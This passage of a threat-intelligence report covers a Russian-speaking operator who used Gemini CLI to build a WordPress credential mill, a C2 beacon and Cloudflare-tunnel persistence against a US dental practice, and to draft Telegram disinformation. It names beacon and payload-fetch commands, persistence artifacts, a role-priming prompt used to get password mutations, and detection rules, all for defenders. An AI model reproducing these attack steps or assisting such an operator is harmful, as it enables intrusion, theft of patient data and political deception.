  • Beacon every 5 seconds to https://c2.tralalarkefe.com/api/v1/update with X-Agent-ID: HOSTNAME_user header and base64(UTF-16LE) body
  • Inferred Quasar-class lineage from operator handoff notes referencing “Quasar fork”; not independently confirmed

The MODERATE confidence floor on this component reflects that the binary was not directly extracted. Detection signatures in Section 10 cover the observable network behavior (which is DEFINITE per direct capture).

5.5 Operator Persona-String Inventory (Russian-Native Idiom)

Confidence: DEFINITE (extracted from 122 Gemini CLI session JSONs in Phase 11 analysis)

The operator’s informal Russian idiom registers across handoff documents, source-code comments, and Gemini CLI session JSONs:

  • Бро — informal “Bro” (Russian Cyrillic register; not the English transliteration)
  • Братух — informal “Bro” diminutive, addressed to Gemini in handoff documents (the operator addresses the AI as a peer)
  • Погнали — “Let’s go” idiom
  • тачка — informal “machine” / “computer” slang
  • Комп Доктора — “Doctor’s computer” (the operator’s reference to the healthcare-victim compromised host)
  • Формат: Имя тачки - Юзер - Пароль — “Format: machine name - user - password” — the operator’s credential ledger format header, re-pasted across 4+ Gemini sessions
  • Cyrillic-English technical bilingualism throughout source comments

These strings do not Google-Translate cleanly — the idiom register is consistent with a native Russian speaker rather than translated content. This is the basis for the DEFINITE confidence on the Russian-native attribution dimension (Section 9).


6. Dynamic / Behavioral Analysis

Analyst note: This section covers the operator’s runtime behavior captured across 122 Gemini CLI session JSONs (Phase 11 analysis), open-directory observation of 213.165.51.115 (Hunt.io platform first-seen 2026-03-30; cleaned by 2026-05-23), and network behavior inferred from the captured operator tooling and victim-side artifacts. The operator’s behavioral patterns are: (1) Gemini CLI session-driven workflows with handoff documents between sessions, (2) multi-hour mass-WP-validation runs against ~30,000 sites, (3) live posting to @americanpatriotus Telegram channel via Gemini-drafted content, (4) cloudflared tunnel registration and victim-side persistent access establishment, and (5) detection-aware open-directory cleanup within days of exposure.

6.1 Gemini CLI Session Workflow Pattern

Confidence: DEFINITE (122 session JSONs captured)

The operator interacts with Gemini CLI in multi-turn, multi-hour, multi-thread sessions. Phase 11 analysis identified 122 distinct session JSONs spanning 2026-03-19 through 2026-03-30 with multiple operational threads:

  • Credential mill development sessions — operator iterating on ai_sniper_brute.py and check_keys.py with Gemini assistance
  • C2 development sessions — operator iterating on c2_server.py with Gemini assistance (this is where the /api/v1/get_results mismatch likely originated — operator added client-side call in one session, planned to implement server-side in next session, did not complete)
  • Infrastructure operation sessions — operator using Gemini for Cloudflare and GCP configuration changes
  • Disinformation posting sessions — operator using Gemini to draft @americanpatriotus channel content (Session 2026-03-25T18-27 captured with anti-fraud / JD-Vance themed content)
  • Session handoff via Markdown documents — operator uses the three AI Operator Handoff Documents to re-prime new sessions with prior operational state

The session pattern is the operator-runs-it-with-AI-assist model — not the model where the AI runs autonomously without operator turn-by-turn guidance. The operator retains decision authority; the AI provides drafting, code-suggestion, and configuration-recommendation throughput.

6.2 Mass WordPress Validation Run (Network Behavior)

Confidence: DEFINITE (38.7 MB nuclei mega-hunt log captured)

Network behavior pattern of a mass-WP-validation run:

  1. Initial enumerationnuclei invoked with operator-bespoke wp_admin_hunter.yaml template against a list of ~30,000 WordPress sites
  2. Per-site reachability test — HTTP GET against /wp-login.php per site; 200 OK indicates reachable admin login page
  3. Per-site credential test — for reachable sites, POST credential candidates from the AntiPublic.one + LLM-mutator pipeline against /wp-admin/admin-ajax.php and /wp-login.php
  4. Success capture — successful credential pairs written to AI_SNIPER_GOODS.txt (or sibling output files)
  5. Multi-hour runtime — the 38.7 MB log size suggests multi-hour runtime; tempo throttled per operator’s Russian comment on 3-thread concurrency

Egress source IP: the mass-WP-validation run egresses from operator-side infrastructure (the AEZA workstation or the GCP proxy 34.34.57.141 — the captured log does not unambiguously identify which); per-target rate is throttled to ~3 concurrent requests per the operator’s source comments.

6.3 Live Disinformation Posting Workflow (Session 2026-03-25T18-27)

Confidence: DEFINITE (full session JSON captured)

Captured session 2026-03-25T18-27 documents the operator’s live posting workflow to @americanpatriotus:

  1. Operator prompts Gemini with a topic (anti-fraud framing of a specific US-political event; JD-Vance themed content for parts of the session)
  2. Gemini drafts the post (Russian-language operator instructions, English-language drafted content for posting to US-domestic audience)
  3. Operator reviews and edits the draft
  4. Operator posts to @americanpatriotus (the posting itself uses the Telegram Bot API or the standard tg:// URL — the exact posting mechanism varies)

The AI-augmentation pattern is the post-September-2025 phase of the channel per Trend Micro coverage; the channel was operator-authored-only from 2021 through ~mid-2025.

6.4 Cloudflare Tunnel Registration and Victim-Side Persistent Access

Confidence: DEFINITE (tunnel inventory + Cloudflare API token captured)

Behavioral sequence for establishing victim-side persistent access via Cloudflare Tunnel:

  1. Operator runs cloudflared tunnel create under the operator-controlled Cloudflare account (operator-owned zone 6d415863...18f47af5 on tralalarkefe.com)
  2. Operator binds a tunnel subdomain (e.g., windows_server.tralalarkefe.com) to a tunnel UUID
  3. Operator deploys cloudflared on the victim host (or instructs the victim host to deploy cloudflared via the PowerShell beacon’s command execution channel)
  4. Victim-side cloudflared registers with the operator’s Cloudflare account and establishes outbound HTTPS connection to Cloudflare edge
  5. Operator accesses the tunnel subdomain from operator-side; Cloudflare routes the operator’s connection through the tunnel to the victim host
  6. Persistence: the tunnel UUID and subdomain remain bound to the operator’s Cloudflare account; if the victim-side cloudflared process restarts, it reconnects to the same tunnel UUID

The defender-visible indicators on the victim side:

  • cloudflared process running with non-organization-account credentials
  • Outbound TLS to Cloudflare edge IPs from the cloudflared process
  • No inbound connections to the victim host on the documented service port (RDP/SSH/etc.) — all access is via the outbound-initiated tunnel

6.5 Detection-Aware Open-Directory Cleanup

Confidence: DEFINITE (Hunt.io platform snapshots before and after; totalItems: 0 by 2026-05-23)

The operator detected the public exposure and wiped the open directory within days — but kept the live infrastructure running. Hunt.io first observed the 213.165.51.115 open directory on 2026-03-30, and The Hunters Ledger deep-pulled the arsenal across multiple investigation phases through 2026-05-23. Between Phase 7 and Phase 8 capture the directory was cleaned (totalItems: 0 by 2026-05-23), plausibly after the operator noticed Hunt.io indexing or the Trend Micro publication ramp-up. The cleanup is detection-and-response behavior, not abandonment: the Cloudflare Tunnel and GCP overlay stayed operational.

6.6 Network Behavior Summary Table

Behavior Source Destination Protocol Indicator
Beacon (victim → C2) Victim host with PowerShell beacon c2.tralalarkefe.com HTTPS POST /api/v1/update, X-Agent-ID: HOSTNAME_user, 5-second interval, base64(UTF-16LE) body
Payload fetch (victim → operator) Victim host (PowerShell) payloads.tralalarkefe.com HTTPS GET /run_bg.ps1 after SecurityProtocol = Tls12
RDP/WinRM (operator → victim) Operator windows_server.tralalarkefe.com TCP (RDP) / HTTPS (WinRM) Inbound tunnel from operator
SSH (operator → victim) Operator gil_dr1.tralalarkefe.com TCP (SSH over tunnel) Inbound tunnel from operator
Gemini API (operator → Google) Operator-side (AEZA or GCP proxy) generativelanguage.googleapis.com HTTPS High key-diversity (?key=AIzaSy*); 40+ keys cycled
AntiPublic search (operator → service) Operator-side antipublic.one/api/v2/search HTTPS JWT-authenticated (operator JWT sub:31703)
Ephemeral bootstrap (one-time) Operator-side tenant-upcoming-great-descending.trycloudflare.com HTTPS .tar.gz payload bundle delivery

7. MITRE ATT&CK Mapping

Analyst note: This case’s behaviors map to MITRE ATT&CK in the companion detection file, where each technique is tied to its detection logic. To keep this report focused, the full technique table is not duplicated inline.

The full ATT&CK technique mapping for this case is maintained alongside the detection rules on the detection rules page →.


8. Indicators of Compromise

Analyst note: The complete IOC set for this case is published as a machine-readable JSON feed for direct SIEM/EDR ingestion — it is not duplicated inline here. The highest-priority indicators are also surfaced in the IOC panel (fingerprint icon) on this page.

Full IOC feed: /ioc-feeds/russian-gemini-credential-mill-213.165.51.115-iocs.json — every indicator for this case, with type / confidence / recommended action.


9. Threat Actor Assessment — UTA-2026-012

Note on UTA identifiers: “UTA” stands for Unattributed Threat Actor. UTA-2026-012 is an internal tracking designation assigned by The Hunters Ledger to actors observed across analysis who cannot yet be linked to a publicly named threat group. This label will not appear in external threat intelligence feeds or vendor reports — it is specific to this publication. If future evidence links this activity to a known named actor, the designation will be retired and updated accordingly. UTA-2026-012 has DEFINITE cross-identification with the Trend Micro vendor catalog handle “bandcampro” (Trend Micro “Patriot Bait” publication 2026-05-22); both refer to the same operator.

9.1 Attribution Conclusion

Attribution: Russian-native AI-augmented mid-tier criminal operator running cross-domain operation — credential mill against US healthcare (the healthcare victim) + US-targeted political Telegram disinformation (@americanpatriotus “Quantum Patriot” channel).

Confidence: MODERATE 83% (top of the MODERATE band 70-85% per CLAUDE.md). Upgraded from parent-campaign MODERATE 75% via Trend Micro Tier-2 independent corroboration (5-point IOC match).

Ceiling without external evidence: HIGH 88-90% on operator class profile. DEFINITE requires Tier-1 government attribution or 3+ Tier-2 vendor convergence (currently 2: Trend Micro + The Hunters Ledger).

Named-actor attribution: INSUFFICIENT (<50%)bandcampro is a Trend Micro vendor tracking handle, not a real-name identification. No publicly named individual is supportable from current evidence.

9.2 Vendor Catalog Reconciliation

Vendor Tracking handle Publication Date Cross-ID confidence
The Hunters Ledger UTA-2026-012 This report (sub-report 2 of ai-agent-frameworks-2026-05-23 series) 2026-05-25 (this report)
Trend Micro (TrendAI Research) bandcampro One Man, One AI, One Fake Persona: Inside the 5-Year Influence and Fraud ‘Patriot Bait’ Campaign 2026-05-22 DEFINITE 5-point IOC cross-match with UTA-2026-012

The 5-point IOC cross-match (DEFINITE):

  1. IP match (4-of-4 exact): 213.165.51.115, 34.34.57.141, 34.34.81.129, 35.192.41.201 — all four operator IPs match exactly between The Hunters Ledger’s open-directory capture (Hunt.io first-seen 2026-03-30) and Trend Micro’s publication.
  2. Telegram channel match: @americanpatriotus documented by both vendors.
  3. Stolen Gemini API key inventory: Trend Micro reports 73 stolen keys; The Hunters Ledger captured 40+ in the open-directory snapshot (counts differ because the open-directory exposure is a partial snapshot; both vendors agree on the bulk-stolen-keys pattern).
  4. 20-mutation-per-target generation pattern: Trend Micro documents the operational pattern; The Hunters Ledger captures the source code with verbatim prompt.
  5. Quantum Patriot pipeline branding: Self-applied content branding visible in both vendors’ observations.

Statistical implausibility of two independent operators: The probability of two independent operators using identical Telegram channel + identical 4-IP infrastructure + identical Gemini-CLI integration architecture + identical Quantum Patriot branding is effectively zero. The cross-identification is DEFINITE.

Detection-engineer naming convention: Use “UTA-2026-012 (Trend Micro: bandcampro)” in all downstream artifact authoring to maintain cross-vendor traceability.

9.3 Four-Axis Operator Profile (Phase 11 Synthesis)

Synthesizing the 122-session Gemini CLI corpus (the investigation’s Phase 11 deep-read), the operator’s behavioral profile resolves on four axes:

Axis 1 — Russian-native: DEFINITE confidence. Evidence: informal idiom register (Бро, братух, Погнали, тачка, Комп Доктора); Cyrillic-English technical bilingualism in source code comments; in-session credential ledger format header Формат: Имя тачки - Юзер - Пароль re-pasted across 4+ Gemini CLI sessions; Trend Micro independent characterization as Russian-speaking. Strings do not Google-Translate cleanly — the register is consistent with a native Russian speaker.

Axis 2 — Mid-tier selective sophistication: HIGH confidence. Sophisticated dimensions: Cloudflare custom-domain Tunnel topology; GCP multi-instance overlay; AEZA bulletproof workstation; AI workflow integration; persistent victim access via Cloudflare Tunnel. Rough OPSEC dimensions: victim-named GCP project [victim-named GCP project — redacted]; full Cloudflare API token in plaintext; GitHub PAT in plaintext; AntiPublic.one JWT in plaintext; 40+ stolen Gemini keys not encrypted; open-directory exposure on port 8082. Incomplete implementation: /api/v1/get_results endpoint called by client but NOT server-implemented (direct evidence of in-place iterative development against a live victim); documentation drift across infrastructure notes; zero-auth, path-traversal-vulnerable C2 backend.

Axis 3 — Active campaign with concurrent R&D: HIGH confidence. Evidence: min1.sh and other operator-built tooling Last Modified during the investigation window; 122 Gemini CLI session JSONs span multiple operational threads and concurrent development; operator iterating on C2 source while deployed against the healthcare victim; open-directory cleaned (totalItems: 0 by 2026-05-23) within days of exposure — detection-and-response behavior consistent with continued operator activity.

Axis 4 — Hybrid resource model: HIGH confidence. Custom-built: c2_server.py Python stdlib BaseHTTPServer only (no FastAPI/Flask/aiohttp dependency); ai_sniper_brute.py operator-authored. Commodity paid: nuclei mega-hunt log 38.7 MB; AntiPublic.one paid subscription (JWT sub:31703). Commodity stolen: 40+ stolen Gemini API keys with MD5 hash tracking; OpenAI key; Venice AI key.

9.4 Cross-Domain Finding (Rare in Published Reporting)

The single operator runs two concurrent operational tracks from the same infrastructure:

  • Track A — Credential mill against US healthcare: Mass WordPress validation rig + AntiPublic.one breach-data lookups + LLM-personalized per-target mutation pipeline → the active, HIPAA-regulated PHI compromise of the healthcare victim at capture
  • Track B — Political IO: @americanpatriotus “Quantum Patriot” Telegram channel (17,000 subscribers per Trend Micro); posting automation via Gemini CLI; live posting workflow captured in Gemini session 2026-03-25T18-27; 5-year operation with AI pivot September 2025 per Trend Micro

Trend Micro’s “One Man, One AI, One Fake Persona” framing matches The Hunters Ledger’s solo-actor characterization. DFRLab and OpenMinds typically attribute Russian-operated US-targeted Telegram networks to coordinated teams; the single-operator cross-domain combination here is a behavioral observation that does not match the documented coordinated-team baseline.

State-direction is a MODERATE-sensitivity assumption. A solo operator running a 5-year political disinformation channel raises a reasonable question of state tasking or template provisioning. Current evidence does not support state direction and does not refute it. Resolution requires DFRLab-methodology channel content analysis + Stanford Internet Observatory cross-domain operator-class research.

9.5 Confidence Ceiling Paths

The MODERATE 83% confidence can be elevated via the following paths:

Path Target confidence Evidence required Likelihood
A — Russian forum corpus mapping MODERATE → HIGH Russian-cybercrime-focused TI team mapping sonner1337 / братух to known duty-free.cc forum identity MODERATE
B — Law enforcement attribution HIGH → DEFINITE US FBI / DOJ indictment of bandcampro (via the healthcare victim cybercrime track); OR Russian LE coordination; OR Five Eyes statement LOW (Russian LE); MODERATE (US indictment)
C — Subpoena-grade disclosure MODERATE → HIGH Cloudflare T&S (full-admin API token captured — cleanest path); GitHub T&S (sonner1337 PAT); GCP T&S (service account); Telegram T&S (@americanpatriotus); Google AI Studio T&S (40+ stolen Gemini keys) MODERATE for Cloudflare/GitHub/Telegram; LOW for Google
D — Third Tier-2 vendor publication MODERATE → HIGH Mandiant / CrowdStrike / Microsoft / Kaspersky / Cisco Talos / Palo Alto Unit 42 / GTIG publication identifying same operator under any tracking handle MODERATE within weeks of Trend Micro + The Hunters Ledger publications

9.6 Alternative Hypothesis Considered and Rejected

H2 (rejected, effectively zero probability): Coincidental adjacent-operator misidentification between Trend Micro bandcampro and The Hunters Ledger UTA-2026-012. Refuted by the 5-point IOC match including 4-of-4 IP exact match.

9.7 Defensive Boundaries (What This Assessment Does NOT Claim)

  • UTA-2026-012 real-world identity beyond GitHub handle + Telegram channel + persona string + AEZA hosting
  • That bandcampro is a real-name identification (it is a Trend Micro vendor tracking handle only)
  • That the operator is state-directed (the disinfo sideline is a behavioral observation only)
  • That the cross-domain operator class is unique in the threat landscape (it is rare in published reporting only)
  • That UTA-2026-012 and any Case 9 GHOST kit operator (Vova75Rus / UTA-2026-016 / UTA-2026-017) are the same individual (AEZA co-residency is ecosystem signal, not operational coordination)
  • That UTA-2026-012 is part of a coordinated multi-operator campaign with the other 7 cases in the parent report
  • That the healthcare victim is the only victim historically (sole victim in the captured session corpus)
  • Tier-1 government attribution for UTA-2026-012
  • 3+ Tier-2 vendor convergence achieved (currently 2 — Trend Micro + The Hunters Ledger)

10. Risk & Detection

The single highest-signal action for every environment is to block *.tralalarkefe.com — the operator-owned custom domain has no legitimate use case — backed by the operator-bespoke X-Agent-ID: HOSTNAME_user C2 header, which catches this operator’s traffic even after infrastructure migration. The complete detection ruleset (26 rules across YARA, Sigma, and Suricata) is in the separate detection file:

/hunting-detections/russian-gemini-credential-mill-213.165.51.115-detections/

Detection Coverage Summary

Rule Type Count MITRE Techniques Covered Overall FP Risk
YARA 8 T1587, T1059.006, T1027, T1071.001, T1547.001 LOW–MEDIUM
Sigma 12 T1071.001, T1547.001, T1090.004, T1110.003, T1555.005, T1003.002, T1041, T1102 LOW–MEDIUM
Suricata 6 T1071.001, T1090.004, T1572, T1568 LOW

Total: 26 rules across 3 detection layers.

Highest-Priority Hunts (Deploy First)

The following hunts have the highest signal-to-noise ratio and should be deployed before broader environment sweeps:

  1. Egress block + DNS block on *.tralalarkefe.com — single highest-signal network indicator. Block at perimeter (SNI block + DNS block) for all environments regardless of confirmed victim status. The custom domain has no legitimate use case.
  2. YARA file scan for "Act as an expert red-team password analyst" + google.generativeai import + AI_SNIPER_GOODS output filename — single highest-signal file-based indicator. Deploy across developer workstations, CI/CD pipelines, and server-class hosts.
  3. YARA file scan for AI Operator Handoff Document pattern — Markdown files in ~/.gemini/, ~/.claude/, ~/.codex/ with session-start load directive co-occurring with C2 endpoint references. Higher-risk on server-class Linux hosts.
  4. Sigma hunt for HTTP requests with X-Agent-ID header — bespoke operator C2 header format HOSTNAME_user. Catches operator C2 traffic regardless of domain (resilient to infrastructure migration).
  5. Sigma hunt for HKCU Run-key WindowsUpdateManager + %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1 — operator’s persistence artifact. Any presence is HIGH-confidence indication.
  6. Sigma hunt for PowerShell Invoke-RestMethod -Uri https://payloads.tralalarkefe.com/*.ps1 after SecurityProtocol = Tls12 — payload-fetch behavior.
  7. Suricata signature for c2.tralalarkefe.com + /api/v1/* URI — network-level C2 detection at perimeter.

Response Orientation (Closing Block)

This is not an incident response guide — it is a brief orientation for readers who need to know what to address, not how to address it. Readers with confirmed compromise should engage their internal IR team or a dedicated playbook.

Detection priorities (deploy first):

  • Egress block on *.tralalarkefe.com SNI; DNS block on the domain; IP blocks on operator IP inventory
  • YARA scan for the LLM credential mutator signature and the AI Operator Handoff Document signature
  • Sigma hunt for X-Agent-ID header format on egress HTTP

Persistence targets to investigate:

  • HKCU Run-key value WindowsUpdateManager
  • File %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1
  • Any cloudflared process running with non-organization-account credentials
  • Markdown files matching the AI Operator Handoff Document pattern under ~/.gemini/ and sibling directories

Containment categories:

  • Isolate affected hosts; preserve forensic state before remediation
  • Tear down operator-controlled Cloudflare Tunnel access via Cloudflare PSIRT engagement (single subpoena-grade lever via captured API token)
  • Rotate credentials across the full captured credential inventory (all NTLM hashes + MySQL root + any plaintext captured)
  • Block operator infrastructure at perimeter
  • For HIPAA-regulated victims: engage HC3 and outside counsel for HIPAA Breach Notification Rule calculus

11. Confidence Summary

This section organizes the report’s findings by confidence level per CLAUDE.md CONFIDENCE LEVELS framework. Granular confidence levels are present inline throughout the report; this summary provides the higher-level view.

DEFINITE (Direct Evidence)

  • Operator infrastructure inventory — 4 IPs, 6 Cloudflare Tunnel subdomains, 2 GCP projects, 1 GCP service account, 1 Cloudflare full-admin API token, 1 GitHub PAT, AntiPublic.one JWT (jti:44298 / sub:31703), 40+ Gemini API keys
  • Operator-built tooling source codec2_server.py, console.py, ai_sniper_brute.py, check_keys.py, mass_wp_mutator.py, quantum_patriot.py
  • Three AI Operator Handoff Documents on diskC2_INFRA_TRANSFER.md, DEPLOYED_TOOLS.md, C2_MIGRATION_GUIDE.md
  • /api/v1/get_results server-side non-implementation (iterative-development evidence)
  • The healthcare-victim environment inventory — AD domain [victim AD domain — redacted], 2 subnets, 6 local NTLM hashes, OpenDental MySQL root hash, 2 active Cloudflare Tunnel access subdomains
  • GCP project [victim-named GCP project — redacted] operator-named-after-victim
  • Multi-source operator identification — UTA-2026-012 = Trend Micro bandcampro cross-identification via 5-point IOC match (4-of-4 IPs + @americanpatriotus channel)
  • Russian-native operator linguistic register (Phase 11 analysis of 122 Gemini CLI session JSONs; informal idiom register; Cyrillic-English technical bilingualism)
  • @americanpatriotus Telegram channel operator co-location (same operator infrastructure)
  • AEZA AS210644 hosting + OFAC sanction status (2025-07-01 effective)
  • The verbatim Gemini role-priming prompt in ai_sniper_brute.py

HIGH (Strong Evidence, Minor Gaps)

  • AI Operator Handoff Documents as novel artifact class — three exemplars structurally distinct from GEMINI.md jailbreak persistence
  • LLM-Personalized Credential Mutation as first source-code analysis with verbatim prompt (operational pattern independently confirmed by Trend Micro)
  • Operator-Built Unauthenticated Python-stdlib C2 with iterative-development evidence
  • Four-axis operator profile (Russian-native DEFINITE; mid-tier selective sophistication HIGH; active campaign with concurrent R&D HIGH; hybrid resource model HIGH)
  • HKCU Run-key + %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1 persistence
  • Cloudflare Tunnel topology more persistent than ephemeral trycloudflare.com abuse

MODERATE (Reasonable Evidence, Notable Gaps)

  • UTA-2026-012 (= bandcampro) attribution at MODERATE 83% (top of MODERATE band 70-85%, upgraded from parent MODERATE 75% via Trend Micro Tier-2 corroboration)
  • WMI Event Subscription persistence (inferred from stealth.ps1 operator references; binary not extracted)
  • Scheduled Task persistence (inferred from operator notes; not directly captured)
  • WinRM lateral movement (inferred from windows_server.tralalarkefe.com tunnel role)
  • Pass-the-Hash lateral movement (inferred from NTLM hash capture + multi-subnet compromise)
  • Quasar-class lineage of agent_final.ps1 PowerShell beacon (operator handoff document reference; binary not extracted)
  • State-direction sensitivity for the political IO track

LOW (Weak / Circumstantial Evidence)

  • Operator team size — solo vs. small criminal team (Trend Micro frames as “One Man” but cannot be definitive)
  • @americanpatriotus amplification network coordination with documented Russian-operated Telegram conduit networks (DFRLab / OpenMinds catalog) — not analyzed in current report

INSUFFICIENT (Cannot Assess from Current Evidence)

  • Real-world identity of UTA-2026-012 / bandcampro — bandcampro is a Trend Micro vendor tracking handle, not a real-name identification
  • Discrimination Russian-resident vs Russian-diaspora
  • Tier-1 government attribution
  • 3+ Tier-2 vendor convergence (currently 2)
  • Named-actor attribution — no publicly named individual is supportable from current evidence

12. Coverage Gaps

The following gaps represent uncertainty in the current analysis and require additional evidence to resolve. They are documented here for transparency and as targets for future investigation.

Investigation-Side Gaps

  1. Trend Micro “Patriot Bait” full article inaccessibility — HTTP 403 during research; reviewed via The Register (2026-05-22 Tier 3 / C2) and CyberSecurityNews (2026-05-25 Tier 3 / C3) synthesis. Full article direct access needed to confirm Trend Micro did not document the healthcare victim specifically or the tralalarkefe.com domain.
  2. Underground forum coverage of LLM credential mutation prior-art — Recorded Future / Intel 471 dark-web monitoring validation needed before finalizing “first source-code analysis” framing. Current evidence supports the framing; underground-forum validation would convert MODERATE-sensitivity novelty claim to HIGH.
  3. @americanpatriotus pre-September-2025 content analysis — DFRLab methodology would establish coordination origin vs. organic origin. The 5-year operational history is well-attested by Trend Micro; pre-AI-pivot content characterization is open.
  4. Hunt.io threat-actor catalog re-query — Hunt.io catalog had NO MATCH for this operator as of 2026-05-24 query; expected ingestion within 30 days of Trend Micro publication. Future re-query recommended.
  5. 95.211.175.167 and 85.17.70.56 roles undetermined — captured in operator filesystem but specific role not determined; live VirusTotal + Hunt.io enrichment needed in follow-up session.
  6. tralalarkefe.com WHOIS / registration date — Cloudflare DNS masking prevented retrieval; would establish operator domain-registration tempo.
  7. Third victim machine referenced in CLOUDFLARE_INFRA.md (designation DES... — transcript truncation prevented full extraction). Whether this is a second victim organization or a third host within the healthcare victim is open.

Defender-Side Gaps

  1. VictimSide forensic confirmation at the healthcare victim — operator-side artifacts establish capability and configuration; whether PHI has been exfiltrated requires victim-side egress data volume analysis against the operator-access time window.
  2. Live Cloudflare Tunnel status at publication time — confirmed configured at capture (operator-side artifacts), but not independently verified post-capture. Cloudflare PSIRT engagement will provide this confirmation.
  3. Operator activity post-capture213.165.51.115 open-directory cleaned by 2026-05-23 confirms continued operator activity beyond the captured window; specific operator behavior post-cleanup is open.

13. Calibration Notes / Retractions

This section documents analytical corrections, prior-art reframings, and scope adjustments made during the investigation. Transparency about investigative iteration is a credibility-preservation requirement of this report’s project standards.

Calibration 1 — Trend Micro Prior-Art Reframing (LLM Credential Mutation Novelty)

Original framing (parent campaign analysis): “First ever documentation of LLM-Personalized Credential Mutation in the wild.”

Reframed (after Trend Micro 2026-05-22 publication discovery):First source-code analysis with verbatim prompt reproduction of the LLM-Personalized Credential Mutation technique. The operational pattern is independently confirmed by Trend Micro in ‘One Man, One AI, One Fake Persona: Inside the 5-Year Influence and Fraud Patriot Bait Campaign’ (2026-05-22, operator tracked as ‘bandcampro’). The Hunters Ledger contribution is the line-by-line source code with the verbatim role-priming prompt template; Trend Micro’s contribution is the macro-level operational pattern confirmation.”

Why the reframing was made: Trend Micro independently surfaced this operator three days before this report’s investigation window closed. Cross-identification is DEFINITE via 5-point IOC match. Maintaining the original “first ever documentation” claim would be a credibility-damaging accuracy failure. The reframed novelty claim — first source-code analysis with verbatim prompt — is independently defensible from the captured ai_sniper_brute.py source and is not affected by Trend Micro’s coverage.

Calibration 2 — AI Operator Handoff Documents Novelty Claim MAINTAINED

Status: The AI Operator Handoff Document novelty claim is MAINTAINED at HIGH confidence. Trend Micro covers the GEMINI.md jailbreak-persistence pattern (which is content-level persistence inside a single file the AI auto-loads); The Hunters Ledger covers three operator-authored Markdown documents (C2_INFRA_TRANSFER.md, DEPLOYED_TOOLS.md, C2_MIGRATION_GUIDE.md) that carry operational session state with explicit AI-to-AI headers and session-start load directives. These are architecturally distinct artifact classes.

Calibration 3 — Operator-Built Unauthenticated Python-stdlib C2 Novelty Claim MAINTAINED

Analyst note: This calibration section explains where our reporting overlaps with Trend Micro’s prior coverage and where it goes deeper. The headline: our source-code-level analysis of the operator-built C2 backend (including the endpoint-mismatch evidence of in-place iterative development) is net-new to public reporting.

Status: The operator-built C2 source-code analysis is net-new to public reporting. Trend Micro provided high-level C2 mention without source-code analysis; The Hunters Ledger source-code-level analysis with the /api/v1/get_results iterative-dev evidence is net-new.

Calibration 4 — web_scraper_bot.py Dead-Code Finding

Finding: web_scraper_bot.py is present in the operator’s open directory but is dead code — referenced in older versions of operator notes but no longer integrated into the active credential mill pipeline. The active pipeline uses mass_wp_mutator.py + nuclei + AntiPublic.one integration. The dead-code presence is operator development-iteration artifact, not active operational tooling. Original initial-phase analysis included this in the active arsenal; subsequent phases corrected to dead-code classification.

Calibration 5 — @americanpatriotus Channel Scope Narrowed

Original framing: Operator-only inventory of disinformation operations.

Narrowed (after Phase 11 122-session analysis): Specifically @americanpatriotus “Quantum Patriot” Telegram channel — confirmed via session captures and Trend Micro independent reporting. Additional operator-run channels are not ruled out by the evidence base; current evidence supports only @americanpatriotus. Future investigation would broaden the channel inventory if additional Telegram automation scripts or session captures surface.

Calibration 6 — the healthcare victim Victim Scope Narrowed

Original framing (parent campaign analysis): Russian operator victim scope inferred broadly from credential capture.

Narrowed (after Phase 11 122-session analysis): the healthcare victim is the only victim in the 122-session Gemini CLI corpus. Zero references to the Case 2 Turkish ARPA campaign victim appear in the Russian operator’s sessions — the Case 2 victim is exclusively a Turkish ARPA campaign target and does not overlap with this operator’s scope. The narrowing is important for disclosure scope: this operator’s victim-disclosure scope is the healthcare victim only.

Calibration 7 — Attribution Confidence Band Normalization

Original (attribution-analyst output): “MODERATE-HIGH 83%” hybrid band.

Normalized (per CLAUDE.md CONFIDENCE LEVELS): “MODERATE 83%” with explanatory annotation “top of the MODERATE band 70-85%.” Project standard does not include “MODERATE-HIGH” hybrid bands; descriptive annotations within canonical bands are used instead.


14. Defender Follow-Ups

This section provides the prioritized hunt activities for defenders preparing to engage this operator’s TTPs.

For US Healthcare and Dental Practice Defenders

  1. Audit ComfyUI-class attack surface — N/A (the Case 1 / Case 9 cross-vector finding is documented in the parent report; this operator’s primary attack vector is WordPress validation + LLM-personalized credential reuse, not ComfyUI exploitation)
  2. Audit [victim AD domain — redacted] and OpenDental installations — The primary-victim profile (US dental practice with a .local AD domain and OpenDental practice-management software) defines the directly-similar target class. Even environments outside the named practice should treat this operator’s TTPs as directly relevant.
  3. Engage HC3 for sector-CERT threat intelligence dissemination on this operator’s profile

For Cloudflare-Tunnel-Using Organizations (Detection Hunts)

  1. Audit cloudflared process inventory across internal Linux hosts — any cloudflared running with non-organization-account credentials is suspect
  2. Audit Cloudflare account inventory for tunnel UUIDs not authorized by the organization (operator-controlled custom-domain tunnels would not appear in the organization’s Cloudflare account but their operation would be visible in outbound cloudflared process behavior)
  3. Block egress to *.tralalarkefe.com at perimeter as a baseline (no legitimate use case)

For LLM API Key Holders (Compute Theft Risk)

  1. Audit Gemini / OpenAI / Anthropic / Venice AI API key usage for high-key-diversity, high-throughput patterns from unexpected source IPs (especially server-class hosts)
  2. Rotate any keys that appear in stealer log markets — the operator’s pipeline depends on stolen-key inventory; key rotation breaks the operational tempo
  3. For Google AI Studio specifically: Engage Google AI Studio T&S with stolen-key inventory if any of your organization’s keys appear in operator inventories surfaced from open-directory hunts

For Russian Disinformation Research Community

  1. DFRLab content analysis of @americanpatriotus channel — establish coordination vs. organic origin; map amplification network
  2. OpenMinds ecosystem positioning of @americanpatriotus within documented 52-channel Russian-operated US-targeted Telegram conduit networks
  3. Stanford Internet Observatory cross-domain operator-class research — solo-actor financial cybercrime + political IO combination is rare in published reporting; this case is a research-tracked data point

© 2026 Joseph. All rights reserved. See LICENSE for terms.

Support Independent Threat Research

If this report was useful, consider supporting the work that goes into it.

High Priority IOCs
  • 213.165.51.115
  • tralalarkefe.com
  • windows_server.tralalarkefe.com
  • c2.tralalarkefe.com
  • payloads.tralalarkefe.com
STIX 2.1 Bundle

Machine-readable threat intel for this report — import into OpenCTI, MISP, or any STIX-aware platform.